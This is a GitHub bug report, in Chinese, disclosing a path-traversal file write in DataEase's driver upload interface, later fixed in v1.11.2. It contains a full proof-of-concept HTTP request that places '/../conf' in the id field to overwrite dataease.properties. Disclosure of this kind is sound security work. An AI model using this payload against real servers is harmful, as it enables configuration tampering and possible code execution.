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[Bug]任意文件跨目录写入 #2428

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Ryze-T opened this issue Jun 15, 2022 · 2 comments
Closed

[Bug]任意文件跨目录写入 #2428

Ryze-T opened this issue Jun 15, 2022 · 2 comments
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状态:待反馈 类型:bug Something isn't working

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@Ryze-T
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Ryze-T commented Jun 15, 2022

DataEase 版本
最新版
运行方式(安装包运行 or 源码运行 ?)
安装包运行

浏览器版本
任意

Bug 描述
任意文件跨目录写入

Bug 重现步骤(有截图更好)
数据源驱动管理处存在文件上传接口:
image
查看源代码:
image
直接将上传的文件以及ID进行拼接,因此可以构造包:

POST /driver/file/upload HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
Authorization: xxx
Content-Type: multipart/form-data; boundary=---------------------------70362338610608895491036095575
Content-Length: 1167
Origin: http://10.211.55.18
Connection: close
Referer: http://10.211.55.18/
Cookie: 

-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="id"

/../conf
-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="name"

123
-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="createTime"

1654829420814
-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="type"

mysql
-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="driverClass"

null
-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="desc"


-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="typeDesc"

MySQL
-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="showModel"

show
-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="file"; filename="dataease.properties"
Content-Type: image/png

123
-----------------------------70362338610608895491036095575--

虽然返回包为错误,但实际上已经上传成功。
因此可以修改数据库配置文件或其他配置文件,可能会造成任意代码执行

@Ryze-T Ryze-T added the 类型:bug Something isn't working label Jun 15, 2022
@maninhill maninhill changed the title [Bug] [Bug]任意文件跨目录写入 Jun 15, 2022
@xuwei-fit2cloud
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感谢反馈,我们正在处理。

@maninhill
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v1.11.2 已修复,详情请参考:https://github.com/dataease/dataease/releases/tag/v1.11.2

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